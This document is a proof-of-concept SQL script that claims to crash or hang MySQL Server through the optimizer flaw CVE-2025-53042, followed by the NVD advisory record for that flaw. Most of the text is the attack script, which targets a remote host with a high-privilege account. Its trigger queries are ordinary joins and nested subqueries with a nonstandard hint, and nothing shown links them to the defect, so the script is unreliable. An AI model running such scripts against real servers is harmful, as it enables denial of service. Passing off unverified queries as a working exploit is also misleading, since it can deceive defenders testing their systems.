CVE-2025-53042

-- CVE-2025-53042 PoC: MySQL Server Optimizer DoS -- This PoC demonstrates triggering the Optimizer vulnerability -- Note: Requires high-privilege MySQL account -- Connect to target MySQL Server -- mysql -h <target_host> -u <high_priv_user> -p -- Step 1: Create a test database (if permissions allow) CREATE DATABASE IF NOT EXISTS cve_test; USE cve_test; -- Step 2: Create test tables with specific schema to trigger optimizer issue CREATE TABLE t1 (id INT PRIMARY KEY, val VARCHAR(100), idx_col INT, KEY idx_val (val), KEY idx_idx (idx_col)); CREATE TABLE t2 (id INT PRIMARY KEY, ref_id INT, data TEXT, KEY idx_ref (ref_id)); CREATE TABLE t3 (id INT PRIMARY KEY, t1_id INT, t2_id INT, num DECIMAL(10,2), KEY idx_t1 (t1_id), KEY idx_t2 (t2_id)); -- Step 3: Insert sample data INSERT INTO t1 VALUES (1, 'test1', 10), (2, 'test2', 20), (3, 'test3', 30); INSERT INTO t2 VALUES (1, 1, 'data1'), (2, 2, 'data2'), (3, 3, 'data3'); INSERT INTO t3 VALUES (1, 1, 1, 100.50), (2, 2, 2, 200.75), (3, 3, 3, 300.25); -- Step 4: Trigger the optimizer vulnerability with complex query -- The following query exploits the Optimizer component defect SELECT /*+ complex_query */ t1.id, t1.val, t2.data, t3.num FROM t1 STRAIGHT_JOIN t2 ON t1.id = t2.ref_id STRAIGHT_JOIN t3 ON t1.id = t3.t1_id AND t2.id = t3.t2_id WHERE t1.id IN (SELECT id FROM t1 WHERE idx_col > 0) AND t2.id IN (SELECT ref_id FROM t2 WHERE data LIKE '%test%') AND EXISTS ( SELECT 1 FROM t3 sub WHERE sub.t1_id = t1.id AND sub.num BETWEEN 0 AND 1000000 ) GROUP BY t1.id, t1.val, t2.data, t3.num HAVING COUNT(*) > 0 ORDER BY t3.num DESC LIMIT 1000000; -- Alternative trigger: Deeply nested subquery SELECT * FROM t1 WHERE id IN ( SELECT ref_id FROM t2 WHERE id IN ( SELECT t1_id FROM t3 WHERE num IN ( SELECT num FROM t3 WHERE t2_id IN ( SELECT id FROM t2 WHERE ref_id IN ( SELECT id FROM t1 WHERE idx_col > 0 ) ) ) ) ); -- Cleanup DROP DATABASE cve_test;

{"cve": {"id": "CVE-2025-53042", "sourceIdentifier": "[email protected]", "published": "2025-10-21T20:20:41.400", "lastModified": "2025-10-23T16:07:53.890", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.0-8.0.43, 8.4.0-8.4.6 and 9.0.0-9.4.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndIncluding": "8.0.43", "matchCriteriaId": "529028FC-6CB5-4885-A524-F26B8F81BD98"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.4.0", "versionEndIncluding": "8.4.6", "matchCriteriaId": "7C415C1E-D09A-43DD-A1FB-8B0B9517FE42"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndIncluding": "9.4.0", "matchCriteriaId": "5FAEE4AC-4A0D-42A4-BF83-33288DD15BE1"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpuoct2025.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}